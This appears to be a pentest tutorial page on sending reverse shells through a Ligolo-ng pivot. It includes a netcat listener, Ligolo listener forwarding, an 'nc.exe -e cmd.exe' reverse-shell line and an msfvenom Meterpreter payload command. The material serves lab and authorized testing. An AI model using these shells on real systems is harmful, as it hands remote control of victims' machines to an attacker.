> For the complete documentation index, see [llms.txt](https://zero-day-archives.gitbook.io/zero-day-archives/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zero-day-archives.gitbook.io/zero-day-archives/network-pivoting-port-forwarding-and-tunneling/pivoting/ligolo-ng/setup-reverse-shells-through-pivot.md).

# Setup Reverse Shells through Pivot

Here's how you can set up a netcat listener and pivot connections using **Netcat** and **Metasploit**:

***

#### **Step 1: Set Up the Netcat Listener**

First, you need to set up a **Netcat** listener on your local machine (Kali) to accept incoming connections.

1. **Start Netcat Listener**:

   ```bash
   nc -nvlp 2222
   ```

   This command will listen on **port 2222** on your local machine.

***

#### **Step 2: Set Up the Listener Add Command**

Now, configure the listener to forward any incoming connections on a different port (e.g., port 1234) to your local machine's port 2222.

1. **Listener Add Command**:

   ```bash
   listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:2222
   ```

   * This command tells the listener to forward any incoming connections that hit **port 1234** on your **pivot machine** to your **localhost (127.0.0.1)** on **port 2222**.

   You should see a message confirming the listener is set up and active.

***

#### **Step 3: Verify the Listener is Active**

You can check if the listener is active by running the following command:

1. **Check Active Listeners**:

   ```bash
   listener_list
   ```

   This will show you the listeners that are currently active. You should see the listener set up in the previous step.

***

#### **Step 4: Testing the Listener with Netcat**

Now, to test that the listener works, you can attempt a connection from a remote machine (e.g., **client01**) using **Netcat**:

1. **Connect Back to Listener on your pivot machine**: On **the pivot machine,** use the following Netcat command to connect back to your machine on **port 1234**, which will forward the traffic to **localhost:2222**.

   ```bash
   nc.exe -nv 10.10.120.131 1234 -e cmd.exe
   ```

   * `10.10.120.131` is the IP address of your pivot machine.
   * Port `1234` is where the traffic will be forwarded to **localhost:2222**.
   * The `-e cmd.exe` option will execute the **cmd.exe** on the target machine, providing you with a shell.

***

#### **Step 5: Using Metasploit for Reverse Shell**

To automate this process or use a reverse shell, you can use **Metasploit** to generate a payload that will connect back to your pivot machine's IP.

1. **Generate a Reverse Shell with Metasploit**:

   ```bash
   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.76.14 LPORT=1234 -f exe -o shell2.exe
   ```

   * `LHOST=172.16.76.14` is the IP address of your pivot machine.
   * `LPORT=1234` is the port you're forwarding traffic to.
   * `-o shell2.exe` specifies the output filename.
2. **Execute the Payload**: After transferring and executing **shell2.exe** on the target machine, it will establish a reverse shell connection back to your listener on **port 1234**, which is forwarded to **localhost:2222**.

***